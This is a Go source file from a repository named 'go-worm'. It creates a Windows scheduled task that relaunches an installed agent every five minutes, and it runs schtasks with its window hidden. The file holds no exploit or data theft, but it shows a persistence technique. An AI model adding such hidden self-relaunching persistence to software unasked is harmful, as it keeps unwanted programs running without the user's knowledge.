Files
go-worm/lib/startup/watchdog.go
T
kato 36cb847f9e feat(agent): add crash logs and watchdog startup
- Recover panics to disk for diagnostics
- Add 5-minute watchdog task with startup
- Add -ensure flag to start detached agent
- Add script to pull remote folder via API
2026-09-01 20:04:20 +03:00

44 lines
980 B
Go

package startup
import (
"fmt"
"os/exec"
"strings"
"syscall"
"golang.org/x/sys/windows"
"tea.chunkbyte.com/kato/go-worm/lib/config"
)
func enableWatchdog() error {
exe, err := config.InstalledExe()
if err != nil {
return err
}
tr := fmt.Sprintf(`"%s" -ensure`, exe)
return runSchtasks("/Create", "/TN", config.WatchdogTaskName, "/SC", "MINUTE", "/MO", "5", "/TR", tr, "/F")
}
func disableWatchdog() error {
err := runSchtasks("/Delete", "/TN", config.WatchdogTaskName, "/F")
if err != nil && strings.Contains(strings.ToLower(err.Error()), "cannot find") {
return nil
}
return err
}
func runSchtasks(args ...string) error {
cmd := exec.Command("schtasks", args...)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
out, err := cmd.CombinedOutput()
if err != nil {
msg := strings.TrimSpace(string(out))
if msg == "" {
msg = err.Error()
}
return fmt.Errorf("schtasks: %s", msg)
}
return nil
}